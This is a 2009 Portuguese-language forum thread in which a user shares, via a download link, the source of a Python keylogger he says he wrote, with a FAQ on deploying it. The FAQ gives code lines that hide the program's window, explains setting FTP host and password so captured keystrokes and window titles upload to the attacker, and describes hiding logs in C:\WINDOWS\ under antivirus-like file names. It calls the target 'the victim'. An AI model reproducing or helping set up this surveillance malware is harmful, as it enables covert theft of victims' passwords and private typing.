Python Keylogger [Source]

Iniciado por Rush3D, 09 de Dezembro , 2009, 01:19:38 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Rush3D

Keylogger Source Code
Olá, hoje acordei com bom humor, então pensei:
- Vou postar o SOURCE do Keylogger
- Más tenho que achar um fórum de responsa, para Ñ ESPALHAREM o código por outros fóruns VAGA...

Obs.: Esse source fui EU que CODEI!.
Obs.: Testei apenas no WinXP SP2.
Obs.: Essa versão é a 0.3 (atualmente to na versão 1.0.4 com interface em wxPython).

Prós:
  [> Envia para o FTP!.
  [> Os logg pode ser visto em qualquer PC pela sua WebPage (na versão 1.0.4 configurada para CEL).
  [> O Keylogger pega o NOME das JANELAS ativas.
  [> Ñ é pesado, Ñ usa 50% da CPU.

Contras:
  [> A vitima ñ consegue colocar acento nas letra (Devido a API pyHook).
  [> Tamanho grande: + / - 1.9mb (.exe).

Link: http://www.mediafire.com/?zitoujmqzyt

Sessão de fotos:
          Tela Inicial:                        Uso de CPU:                        Logg:



FAQ.:


P: Aff -.- ; Source ñ funciona!
R: Para o Keylogger FunFa precisa:
   Python 2.6   [> http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.4.8-win32-x86.msi <] 32mb
   WConio  [> http://newcenturycomputers.net/projects/download.cgi/WConio-1.5.1.win32-py2.6.exe <] 80kb
   pyWin32  [> http://ufpr.dl.sourceforge.net/project/pywin32/pywin32/Build%20214/pywin32-214.win32-py2.6.exe <] 6mb
   pyHook  [> http://ufpr.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2.6.exe <] 200kb
   py2exe  [> http://ufpr.dl.sourceforge.net/project/py2exe/py2exe/0.6.9/py2exe-0.6.9.win32-py2.6.exe <]  200kb
   UPX   [> http://upx.sourceforge.net/download/upx304w.zip <] 300kb OBS.: (Jogar os arquivos dentro da pasta C:\WINDOWS\)

P: Más Rush3D, como eu deixo ele invizivel?
R: No arquivo 'main.py' delete o '#' das seguintes linhas:
        #win = win32console.GetConsoleWindow()
        #win32gui.ShowWindow(win, 0)
Ficando assim:
        win = win32console.GetConsoleWindow()
        win32gui.ShowWindow(win, 0)

P: Más Rush3D, como eu configuro para ele envia para o meu FTP?
R: No arquivo '_strings_error.py', no final do arquivo tem 3 variável: FTP_HOST, FTP_LOGIN, FTP_PASS.
    Coloque entre os ' ' os seus dados.

P: Más Rush3D, como eu configuro o tamanho do arquivo para ele enviar para o FTP?
R: Eu fiz o Keylogger para enviar o arquivo quando ele atingir uma quantidade especifica de CARACTERES no Logg.

P: Más..., aonde eu configuro a quantidade?
R: No arquivo '_grava_logg.py', no final do arquivo tem um IF:
        if len(fread) >= 70000:                            <- Modificar esse numero (70000). 70000 caracteres + / - 68kb.
        shutil.copy2(LOGG,LOGG_FTP)
        os.remove(LOGG)
        CriaLogg()

P: Como eu gero o .exe?
R: Se você instalo certinho tudo o que eu dice lá em cima, na pasta 'utils' do source code tem 1 arquivo em lot '.bat' que:
   Compila.
   Passar o UPX (para diminuir o tamanho).
   E copia os periféricos.

P: Aonde fica os Logg Rush3D?
R: C:\WINDOWS\
R: Nome: avgnt,avgntk,avgntw,avgntf
R: Exte: *.nls
R: Você pode mudar o diretorio no arquivo '_logg_path.py'

Qualquer coisa posta aki, e quem gosto levanta o dedo _|_ ;p


Creditos: Python Dev, ... blah blah ..., Rush3D

DeserT

hn

se for seu parabens depois baixo a source :)

kohx


Rush3D

Citação de: DeserT online 10 de Dezembro , 2009, 02:18:06 AM
hn

se for seu parabens depois baixo a source :)

Sim, foi eu que codei

Citação de: kohx online 10 de Dezembro , 2009, 03:55:46 AM
Excellent !!!

-> _|_

kk vlws

Vlw kohx

Estou desenvolvendo uma nova versao com interface grafica.
mais acho que vo manter 1 versao em console para ficar menor o keylogger (.exe)
e ñ vo utiliar a API pyHook, assim ñ vai dar mais problema na questão dos acento.
ou seja a nova versao (0.4) vem ai =D


Rush3D

kohx